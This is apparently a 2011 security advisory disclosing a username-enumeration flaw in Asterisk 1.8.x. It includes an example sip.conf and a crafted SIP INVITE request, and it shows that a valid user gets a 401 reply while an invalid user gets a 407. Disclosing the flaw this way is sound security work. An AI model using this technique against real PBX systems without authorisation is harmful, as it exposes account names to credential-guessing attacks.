Asterisk, sip response permit username identification through use INVITE Author: francesco.tornieri \"At\" verona-wireless.net Summary: Sip responses permit user identification Release Date: 01/05/2011 Criticality level: Low Impact: Information leak Software: Asterisk 1.8.x (tested 1.8.3.2) Description: It's possible to enumerate valide sip username through use INVITE request method instead of REGISTER method (a similar problem has been fixed by Digium in 2009 and has been described in this document http://downloads.asterisk.org/pub/security/AST-2009-003.html) Example: PBX Asterisk: ---------- sip.conf ---------- [general] context=outgoing port=5060 bindaddr=192.168.2.1 realm=asterisk allowguest=no alwaysauthreject=yes <---- [template](!) type=friend canreinvite=no host=dynamic qualify=1000 disallow=all allow=g729 [100](template) callerid=phone100<100> username=100 secret=password [500](template) callerid=phone200<500> username=500 secret=password ------------------------ Craft Sip INVITE example ------------------------ INVITE sip:192.168.2.1 SIP/2.0 CSeq: 3 INVITE Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport User-Agent: TT From: ;tag=642d29cd-0671-e011-81a1-a1816009ca7a Call-ID: 5RRdd5Cv-0771-e011-84a1-a1816009ca7a@lapblack2 To: Contact: ;q=1 Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING Expires: 3600 Content-Length: 0 Max-Forwards: 70 ---------------- Method: INVITE ---------------- Valid user (user 100) Response: --- Received: SIP/2.0 401 Unauthorized --- Invalid user (user 1008) Response: --- Received: SIP/2.0 407 Proxy Authentication Required --- Francesco Tornieri